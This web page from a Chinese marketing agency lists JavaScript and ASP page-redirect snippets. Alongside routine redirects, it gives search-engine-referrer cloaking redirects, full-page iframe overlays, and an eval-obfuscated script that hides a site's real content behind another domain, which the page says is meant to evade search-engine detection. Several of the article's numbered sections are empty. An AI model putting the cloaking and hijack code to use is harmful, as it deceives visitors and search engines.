HOME 首頁
SERVICE 服務(wù)產(chǎn)品
XINMEITI 新媒體代運營
CASE 服務(wù)案例
NEWS 熱點資訊
ABOUT 關(guān)于我們
CONTACT 聯(lián)系我們
創(chuàng)意嶺
讓品牌有溫度、有情感
專注品牌策劃15年

    完整html網(wǎng)頁代碼案例(html網(wǎng)頁設(shè)計案例和代碼)

    發(fā)布時間:2023-03-29 16:42:36     稿源: 創(chuàng)意嶺    閱讀: 1248        當前文章關(guān)鍵詞排名出租

    大家好!今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于完整html網(wǎng)頁代碼案例的問題,以下是小編對此問題的歸納整理,讓我們一起來看看吧。

    創(chuàng)意嶺作為行業(yè)內(nèi)優(yōu)秀企業(yè),服務(wù)客戶遍布全國,相關(guān)業(yè)務(wù)請撥打175-8598-2043,或微信:1454722008

    本文目錄:

    完整html網(wǎng)頁代碼案例(html網(wǎng)頁設(shè)計案例和代碼)

    一、html+css做一個完整的可以跳轉(zhuǎn)的網(wǎng)頁

    一、常規(guī)的JS頁面跳轉(zhuǎn)代碼

    1、在原來的窗體中直接跳轉(zhuǎn)用

    <script type="text/javascript">

    window.location.href="你所要跳轉(zhuǎn)的頁面";

    </script>

    2、在新窗體中打開頁面用:

    <script type="text/javascript">

    window.open('你所要跳轉(zhuǎn)的頁面');

    </script>

    3、JS頁面跳轉(zhuǎn)參數(shù)的注解

    <SCRIPT LANGUAGE="javascript">

    <!--

    window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')

    //寫成一行

    -->

    </SCRIPT>

    參數(shù)解釋:

    <SCRIPT LANGUAGE="javascript"> js腳本開始;

    window.open 彈出新窗口的命令;

    'page.html' 彈出窗口的文件名;

    'newwindow' 彈出窗口的名字(不是文件名),非必須,可用空'代替;

    height=100 窗口高度;

    width=500 窗口寬度;

    top=0 窗口距離屏幕上方的象素值;

    left=0 窗口距離屏幕左側(cè)的象素值。

    二、跳轉(zhuǎn)指定頁面的JS代碼

    第1種:

    <script language="javascript" type="text/javascript">

    window.location.href="login.jsp?backurl="+window.location.href;

    </script>

    第2種:

    <script language="javascript">

    alert("返回");

    window.history.back(-1);

    </script>

    第3種:

    <script language="javascript">

    window.navigate("top.jsp");

    </script>

    第4種:

    <script language="JavaScript">

    self.location=’top.htm’;

    </script>

    第5種:

    <script language="javascript">

    alert("非法訪問!");

    top.location=’xx.jsp’;

    </script>

    三、頁面停留指定時間再跳轉(zhuǎn)(如3秒)

    <script type="text/javascript">

    function jumurl(){

    window.location.href = 'http://www.mahaixiang.cn/';

    }

    setTimeout(jumurl,3000);

    </script>

    四、根據(jù)訪客來源跳轉(zhuǎn)的JS代碼

    1、JS判斷來路代碼

    此段代碼主要用于百度谷歌點擊進入跳轉(zhuǎn),直接打開網(wǎng)站不跳轉(zhuǎn):

    <script LANGUAGE="Javascript">

    var s=document.referrer

    if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )

    location.href="http://www.mahaixiang.cn/";

    </script>

    2、JS直接跳轉(zhuǎn)代碼

    <script LANGUAGE="Javascript">

    location.href="http://www.mahaixiang.cn/";

    </script>

    3、ASP跳轉(zhuǎn)代碼判斷來路

    <%

    if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

    response.redirect("http://www.mahaixiang.cn/")

    end if

    %>

    4、ASP直接跳轉(zhuǎn)的

    <%

    response.redirect("http://www.mahaixiang.cn/")

    %>

    五、廣告與網(wǎng)站頁面一起的JS代碼

    1、上面是廣告下面是站群的代碼

    document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.mahaixiang.cn/></iframe>");

    2、全部覆蓋的代碼

    document.write("</iframe><iframe src='http://www.mahaixiang.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");

    3、混淆防止搜索引擎被查的js調(diào)用

    具體的展示上面是廣告下面是站群的代碼:

    var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';

    eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");

    try{

    setInterval(function(){

    try{

    document.getElementById("div"+"All").style.display="no"+"ne";

    }catch(e){}

    for(var i=0;i<document.body.children.length;i++){

    try{

    var tagname = document.body.children[i].tagName;

    var myid = document.body.children[i].id;

    if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){

    // if(tagname!="center"){

    document.body.children[i].style.display="non"+"e";

    //}

    }

    }catch(e){}

    }

    },100);

    }catch(e){}

    六、頁面跳出框架

    <script type="text/javascript">

    top.location.href='http://www.mahaixiang.cn/';

    </script>

    七、返回上一頁

    <script type="text/javascript">

    window.history.back(-1);

    </script>

    二、

    三、

    四、

    以上就是關(guān)于完整html網(wǎng)頁代碼案例相關(guān)問題的回答。希望能幫到你,如有更多相關(guān)問題,您也可以聯(lián)系我們的客服進行咨詢,客服也會為您講解更多精彩的知識和內(nèi)容。


    推薦閱讀:

    廣告策劃方案范文(一份完整的品牌策劃方案)

    抖音完整原版(抖音完整原版取消少年模式)

    一套完整的設(shè)計

    商務(wù)車排行榜(商務(wù)車排行榜前十名)

    如何查看打賞記錄(如何查看打賞記錄虎牙直播)